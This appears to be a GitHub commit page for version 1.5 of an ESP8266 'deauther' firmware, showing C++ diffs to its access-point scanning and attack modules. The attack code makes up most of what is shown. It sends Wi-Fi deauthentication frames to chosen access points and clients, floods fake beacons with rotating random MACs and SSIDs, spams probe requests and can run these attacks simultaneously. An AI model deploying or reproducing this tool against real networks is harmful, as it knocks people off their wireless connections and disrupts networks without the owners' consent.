Skip to content

Commit cc6bcc6

Browse files
authored
Merge pull request #247 from spacehuhn/testing
Version 1.5
2 parents 681522d + 8f81096 commit cc6bcc6

35 files changed

+1882
-708
lines changed

.github/issue_template.md

Lines changed: 0 additions & 5 deletions
This file was deleted.

.github/issues.md

Lines changed: 0 additions & 50 deletions
This file was deleted.

LICENSE

Lines changed: 158 additions & 18 deletions
Large diffs are not rendered by default.

README.md

Lines changed: 570 additions & 282 deletions
Large diffs are not rendered by default.

esp8266_deauther/APScan.cpp

Lines changed: 26 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -135,7 +135,7 @@ int APScan::getFirstTarget() {
135135
void APScan::sendResults() {
136136
if (debug) Serial.print("sending AP scan result JSON ");
137137

138-
size_t _size = 10; // {"aps":[]}
138+
size_t _size = 25; // {"aps":[ ... ],"multiAPs":"1"}
139139
for (int i = 0; i < results && i < maxAPScanResults; i++) {
140140
/*
141141
_size++; // {
@@ -185,7 +185,12 @@ void APScan::sendResults() {
185185
sendToBuffer(json);
186186

187187
}
188-
json = "]}";
188+
189+
json = "],\"multiAPs\":\"";
190+
if(settings.multiAPs) json += "1";
191+
else json += "0";
192+
json += "\"}";
193+
189194
sendToBuffer(json);
190195
sendBuffer();
191196

@@ -221,7 +226,8 @@ String APScan::getResultsJSON() {
221226
void APScan::sort() {
222227
if (debug) Serial.println("sorting APs ");
223228

224-
//bubble sort
229+
/* I know, it's bubble sort... but it works and that's the main thing! ;) (feel free to improve it tho) */
230+
225231
for (int i = 0; i < results - 1; i++) {
226232
Serial.println("--------------");
227233
for (int h = 0; h < results - i - 1; h++) {
@@ -263,14 +269,27 @@ void APScan::sort() {
263269

264270
void APScan::select(int num) {
265271
if (debug) Serial.println("select " + (String)num + " - " + !selected[num]);
266-
if(!settings.multiAPs){
272+
if(num < 0) {
273+
if(num == -1){
274+
if(settings.multiAPs) {
275+
selectedSum = results;
276+
for (int i = 0; i < results; i++) selected[i] = true;
277+
}
278+
} else {
279+
selectedSum = 0;
280+
for (int i = 0; i < maxAPScanResults; i++) selected[i] = false;
281+
}
282+
} else if(!settings.multiAPs) {
267283
for (int i = 0; i < maxAPScanResults; i++){
268284
if(i != num) selected[i] = false;
285+
else selected[num] = !selected[num];
269286
}
287+
selectedSum = 1;
288+
} else {
289+
if(selected[num]) selectedSum--;
290+
else selectedSum++;
291+
selected[num] = !selected[num];
270292
}
271-
selected[num] = !selected[num];
272-
if (selected[num]) selectedSum--;
273-
else selectedSum++;
274293
}
275294

276295
bool APScan::isSelected(int num) {

esp8266_deauther/Attack.cpp

Lines changed: 87 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,8 @@ void Attack::generate() {
1717
for (int i = 0; i < 6; i++) _randomBeaconMac.setAt(_randomMacBuffer[i], i);
1818
} while (beaconAdrs.add(_randomBeaconMac) >= 0);
1919
if (debug) Serial.println("done");
20+
21+
macListChangeCounter = 0;
2022
}
2123

2224
void Attack::buildDeauth(Mac _ap, Mac _client, uint8_t type, uint8_t reason) {
@@ -48,6 +50,11 @@ void Attack::buildBeacon(Mac _ap, String _ssid, int _ch, bool encrypt) {
4850
packetSize++;
4951
}
5052

53+
if(settings.beaconInterval){
54+
beaconPacket_header[32] = 0xe8;
55+
beaconPacket_header[33] = 0x03;
56+
}
57+
5158
for (int i = 0; i < 6; i++) {
5259
//set source (AP)
5360
packet[10 + i] = packet[16 + i] = _ap._get(i);
@@ -96,6 +103,8 @@ void Attack::buildProbe(String _ssid, Mac _mac) {
96103
for (int i = 0; i < len; i++) packet[packetSize + i] = _ssid[i];
97104
packetSize += len;
98105

106+
for (int i = 0; i < sizeof(probePacket_RateTag); i++) packet[packetSize + i] = probePacket_RateTag[i];
107+
packetSize += sizeof(probePacket_RateTag);
99108
}
100109

101110
bool Attack::send() {
@@ -114,6 +123,19 @@ bool Attack::send() {
114123
return true;
115124
}
116125

126+
void Attack::changeRandom(int num){
127+
randomMode = !randomMode;
128+
randomInterval = num;
129+
if(debug) Serial.println("changing randomMode: " + (String)randomMode);
130+
if(randomMode){
131+
if(debug) Serial.println(" generate random SSIDs");
132+
ssidList.clear();
133+
ssidList._random();
134+
randomCounter = 0;
135+
ssidChange = true;
136+
}
137+
}
138+
117139
void Attack::sendDeauths(Mac from, Mac to){
118140
for(int i=0;i<settings.attackPacketRate;i++){
119141
buildDeauth(from, to, 0xc0, settings.deauthReason );
@@ -183,8 +205,10 @@ void Attack::run() {
183205
}
184206
}
185207

186-
/* =============== Beacon list Attack =============== */
187-
if (isRunning[1] && currentMillis - prevTime[1] >= 100) {
208+
/* =============== Beacon Attack =============== */
209+
int beaconsPerSecond = 10;
210+
if(settings.beaconInterval) beaconsPerSecond = 1;
211+
if (isRunning[1] && currentMillis - prevTime[1] >= 1000/beaconsPerSecond) {
188212
if (debug) Serial.print("running " + (String)attackNames[1] + " attack...");
189213
prevTime[1] = millis();
190214

@@ -197,17 +221,18 @@ void Attack::run() {
197221
if (send()) packetsCounter[1]++;
198222
}
199223

200-
stati[1] = (String)(packetsCounter[1] * 10) + "pkts/s";
224+
stati[1] = (String)(packetsCounter[1] * beaconsPerSecond) + "pkts/s";
201225
packetsCounter[1] = 0;
226+
202227
macListChangeCounter++;
203-
if (macListChangeCounter / 10 >= macChangeInterval && macChangeInterval > 0) {
204-
generate();
205-
macListChangeCounter = 0;
228+
if(settings.macInterval > 0){
229+
if (macListChangeCounter / beaconsPerSecond >= settings.macInterval) generate();
206230
}
231+
207232
if (debug) Serial.println(" done");
208233
if (settings.attackTimeout > 0) {
209234
attackTimeoutCounter[1]++;
210-
if (attackTimeoutCounter[1] / 10 > settings.attackTimeout) stop(1);
235+
if (attackTimeoutCounter[1] / beaconsPerSecond > settings.attackTimeout) stop(1);
211236
}
212237
}
213238

@@ -218,23 +243,38 @@ void Attack::run() {
218243

219244
for (int a = 0; a < ssidList.len; a++) {
220245
buildProbe(ssidList.get(a), beaconAdrs._get(a));
221-
if (send()) packetsCounter[2]++;
246+
if(send()) packetsCounter[2]++;
247+
if(send()) packetsCounter[2]++;
222248
}
223249

224-
stati[2] = (String)(packetsCounter[2] * 10) + "pkts/s";
250+
stati[2] = (String)(packetsCounter[2]) + "pkts/s";
225251
packetsCounter[2] = 0;
252+
226253
macListChangeCounter++;
227-
if (macListChangeCounter >= macChangeInterval && macChangeInterval > 0) {
228-
generate();
229-
macListChangeCounter = 0;
254+
if(settings.macInterval > 0){
255+
if (macListChangeCounter >= settings.macInterval) generate();
230256
}
257+
231258
if (debug) Serial.println("done");
232259
if (settings.attackTimeout > 0) {
233260
attackTimeoutCounter[2]++;
234261
if (attackTimeoutCounter[2] > settings.attackTimeout) stop(2);
235262
}
236263
}
237264

265+
//Random-Mode Interval
266+
if((isRunning[1] || isRunning[2]) && randomMode && currentMillis - randomTime >= 1000){
267+
randomTime = millis();
268+
if(randomCounter >= randomInterval){
269+
if(debug) Serial.println(" generate random SSIDs");
270+
ssidList.clear();
271+
ssidList._random();
272+
randomCounter = 0;
273+
ssidChange = true;
274+
}
275+
else randomCounter++;
276+
}
277+
238278
}
239279

240280
void Attack::start(int num) {
@@ -248,21 +288,23 @@ void Attack::start(int num) {
248288
refreshLed();
249289
if (debug) Serial.println("starting " + (String)attackNames[num] + " attack...");
250290
if (num == 0) attackMode = "STOP";
251-
for (int i = 0; i < attacksNum; i++){
252-
if(i != num) stop(i);
291+
if(!settings.multiAttacks){
292+
for (int i = 0; i < attacksNum; i++){
293+
if(i != num) stop(i);
294+
}
253295
}
254296
}else stop(num);
255297
}
256298

257299
void Attack::stop(int num) {
258-
if (isRunning[num]) {
300+
if(isRunning[num]) {
259301
if (debug) Serial.println("stopping " + (String)attackNames[num] + " attack...");
260302
if (num == 0) attackMode = "START";
261303
isRunning[num] = false;
262-
stati[num] = "ready";
263304
prevTime[num] = millis();
264305
refreshLed();
265306
}
307+
stati[num] = "ready";
266308
}
267309

268310
void Attack::stopAll() {
@@ -289,6 +331,8 @@ void Attack::_log(int num){
289331
}
290332

291333
size_t Attack::getSize(){
334+
if(apScan.selectedSum == 0) stati[0] = "no AP";
335+
292336
size_t jsonSize = 0;
293337

294338
String json = "{\"aps\":[";
@@ -329,16 +373,19 @@ size_t Attack::getSize(){
329373
}
330374
json += "],";
331375
jsonSize += json.length();
332-
333-
json = "\"ssid\":[";
334-
jsonSize += json.length();
335-
for (int i = 0; i < ssidList.len; i++) {
336-
json = "\"" + ssidList.get(i) + "\"";
337-
if (i != ssidList.len - 1) json += ",";
376+
377+
if(ssidChange){
378+
json = "\"ssid\":[";
379+
jsonSize += json.length();
380+
for (int i = 0; i < ssidList.len; i++) {
381+
json = "\"" + ssidList.get(i) + "\"";
382+
if (i != ssidList.len - 1) json += ",";
383+
jsonSize += json.length();
384+
}
385+
json = "],";
338386
jsonSize += json.length();
339387
}
340-
341-
json = "]}";
388+
json = "\"randomMode\":" + (String)randomMode + "}";
342389
jsonSize += json.length();
343390

344391
return jsonSize;
@@ -384,16 +431,24 @@ void Attack::sendResults(){
384431
json += "\"running\":" + (String)isRunning[i] + "";
385432
json += "}";
386433
if (i != attacksNum - 1) json += ",";
387-
}
388-
json += "],\"ssid\":[";
434+
}
435+
json += "],";
389436
sendToBuffer(json);
390437

391-
for (int i = 0; i < ssidList.len; i++) {
392-
json = "\"" + ssidList.get(i) + "\"";
393-
if (i != ssidList.len - 1) json += ",";
438+
if(ssidChange){
439+
json = "\"ssid\":[";
394440
sendToBuffer(json);
441+
for (int i = 0; i < ssidList.len; i++) {
442+
json = "\"" + ssidList.get(i) + "\"";
443+
if (i != ssidList.len - 1) json += ",";
444+
sendToBuffer(json);
445+
}
446+
json = "],";
447+
sendToBuffer(json);
448+
ssidChange = false;
395449
}
396-
json = "]}";
450+
451+
json = "\"randomMode\":" + (String)randomMode + "}";
397452
sendToBuffer(json);
398453

399454
sendBuffer();
@@ -408,11 +463,11 @@ void Attack::refreshLed() {
408463
}
409464
if (numberRunning >= 1 && settings.useLed) {
410465
if (debug) Serial.println("Attack LED : ON");
411-
digitalWrite(2, LOW);
466+
digitalWrite(settings.ledPin, LOW);
412467
}
413468
else if (numberRunning == 0 || !settings.useLed) {
414469
if (debug) Serial.println("Attack LED : OFF");
415-
digitalWrite(2, HIGH);
470+
digitalWrite(settings.ledPin, HIGH);
416471
}
417472
}
418473

0 commit comments

Comments
 (0)